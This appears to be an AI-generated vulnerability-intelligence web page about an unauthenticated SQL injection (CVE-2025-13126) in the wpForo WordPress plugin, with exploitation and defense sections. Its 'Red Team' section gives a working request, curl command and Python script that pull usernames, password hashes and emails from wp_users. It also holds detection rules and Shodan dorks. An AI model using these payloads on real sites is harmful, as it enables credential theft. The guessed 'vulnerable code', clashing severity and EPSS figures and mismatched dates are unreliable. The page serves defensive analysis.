☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-13126

CVE-2025-13126 SQL Injection in Wpforo
📅 PUBLISHED: 2025-12-14 04:20 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
3.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-13126 is a critical unauthenticated SQL Injection vulnerability discovered in the wpForo Forum plugin for WordPress (versions up to and including 2.4.12). The flaw resides in the insufficient sanitization of the post_args and topic_args parameters, allowing an attacker to inject arbitrary SQL into pre-existing queries. This enables unauthenticated remote attackers to extract sensitive information from the WordPress database, including user credentials, session tokens, and private forum data. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched, posing a significant risk to all sites running the affected plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It is not related to the underlying web server (Apache/Nginx) or PHP runtime. The attack surface is introduced entirely by the wpForo plugin's failure to properly escape user-supplied parameters before passing them to SQL queries.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: None
  • Availability Impact: None

Threat Level: High. The vulnerability is trivial to exploit (no authentication required, low complexity) and directly leads to full database compromise. Although the EPSS score is currently 0.0%, this is likely due to the CVE being very recent. Given the widespread use of wpForo, exploitation is expected to increase rapidly.

Deep Dive & Mechanics

The vulnerability exists in the wpForo plugin's query building logic. The plugin constructs SQL queries using user-supplied parameters post_args and topic_args without proper escaping or parameterized queries. Specifically, the plugin passes these arguments directly into WP_Query or custom $wpdb queries, where they are concatenated into the SQL statement.

Root Cause:

  • The plugin uses add_query_arg() or similar functions to build query strings, but fails to escape the values of post_args and topic_args.
  • These parameters are expected to be arrays of arguments (e.g., orderby, order, meta_query), but the plugin does not validate that the values are safe.
  • An attacker can inject SQL keywords (e.g., UNION SELECT, OR 1=1) into these parameters, which are then executed against the database.

Attack Flow:

  1. An unauthenticated attacker sends a crafted HTTP request to a wpForo endpoint (e.g., /community/ or any forum page).
  2. The request includes malicious values in the post_args or topic_args GET/POST parameters.
  3. The plugin passes these values into a SQL query without sanitization.
  4. The injected SQL executes, allowing the attacker to extract data from the wp_users, wp_usermeta, wp_posts, and other tables.

Example vulnerable parameter:

/community/?topic_args[orderby]=id UNION SELECT user_login,user_pass FROM wp_users--

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. The fix would require:

Vulnerable Code (wpForo <= 2.4.12):

// In wpForo->Topic->get_topics() or similar
$args = $_GET['topic_args']; // No sanitization
$topics = $wpdb->get_results(
    "SELECT * FROM {$wpdb->prefix}wpforo_topics WHERE forumid = $forumid ORDER BY " . $args['orderby']
);

Patched Code (Hypothetical):

// Use prepared statements and whitelist validation
$allowed_orderby = array('id', 'title', 'created');
$orderby = in_array($_GET['topic_args']['orderby'], $allowed_orderby) ? $_GET['topic_args']['orderby'] : 'id';
$topics = $wpdb->get_results(
    $wpdb->prepare(
        "SELECT * FROM {$wpdb->prefix}wpforo_topics WHERE forumid = %d ORDER BY $orderby",
        $forumid
    )
);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with wpForo plugin version <= 2.4.12.
  • No authentication required.

Exploit Steps:

  1. Identify a wpForo endpoint that accepts post_args or topic_args (e.g., /community/).
  2. Craft a malicious request to extract user credentials:
    GET /community/?topic_args[orderby]=id UNION SELECT user_login,user_pass,user_email FROM wp_users-- HTTP/1.1
    Host: target.com
    
  3. The response will contain the injected data in the forum topic listing.

Manual Exploit (cURL):

curl -v "http://target.com/community/?topic_args[orderby]=id%20UNION%20SELECT%20user_login,user_pass,user_email%20FROM%20wp_users--"

Automated Exploit (Python):

import requests

target = "http://target.com/community/"
payload = "id UNION SELECT user_login,user_pass,user_email FROM wp_users--"
params = {"topic_args[orderby]": payload}
r = requests.get(target, params=params)
print(r.text)

Blue Team (Detection & Hardening)

Detection:

  • Monitor web server logs for requests containing topic_args[ or post_args[ with SQL keywords (UNION, SELECT, FROM, etc.).
  • Look for abnormal HTTP response sizes or database error messages in responses.

Hardening (Temporary):

  • Disable the wpForo plugin until a patch is released.
  • Implement a Web Application Firewall (WAF) rule to block requests containing topic_args[ or post_args[ with SQL patterns.
  • Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests containing topic_args[orderby] or post_args[orderby] with SQL keywords.
  • Unusual User-Agent strings (though not required for exploitation).
  • Database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File IOCs:

  • Modified WordPress database tables (e.g., wp_users with new admin accounts).
  • Suspicious entries in wp_options or wp_postmeta.

Log IOCs:

  • Web server access logs showing requests to /community/ with topic_args or post_args parameters.
  • PHP error logs containing SQL syntax errors.

Detection Engineering

YARA Rule

rule wpForo_SQLi_CVE_2025_13126 {
    meta:
        description = "Detects SQL injection attempts against wpForo plugin CVE-2025-13126"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13126"
    strings:
        $param1 = "topic_args[" ascii nocase
        $param2 = "post_args[" ascii nocase
        $sql_keyword = /(UNION|SELECT|FROM|WHERE|OR\s+1=1|DROP|INSERT|UPDATE|DELETE)/ ascii nocase
    condition:
        any of ($param*) and $sql_keyword
}

Sigma Rule

title: wpForo SQL Injection Attempt (CVE-2025-13126)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit SQL injection in wpForo plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        c-uri|contains:
            - 'topic_args['
            - 'post_args['
        c-uri|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of forum search with similar parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"wpForo SQL Injection Attempt (CVE-2025-13126)"; flow:to_server,established; content:"topic_args["; http_uri; nocase; content:"UNION"; http_uri; nocase; distance:0; content:"SELECT"; http_uri; nocase; distance:0; sid:1000001; rev:1; reference:cve,2025-13126;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the wpForo plugin until a patch is released by the vendor.
  2. Implement a WAF rule to block requests containing topic_args[ or post_args[ with SQL keywords.
  3. Review database logs for signs of exploitation (unexpected queries, new admin users).

Long-Term Fix:

  • Monitor the wpForo plugin page for a security update (version > 2.4.12).
  • Apply the patch as soon as it becomes available.
  • Consider replacing wpForo with an alternative forum plugin that follows secure coding practices.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"wpForo"
http.html:"wpforo"
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-13126/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.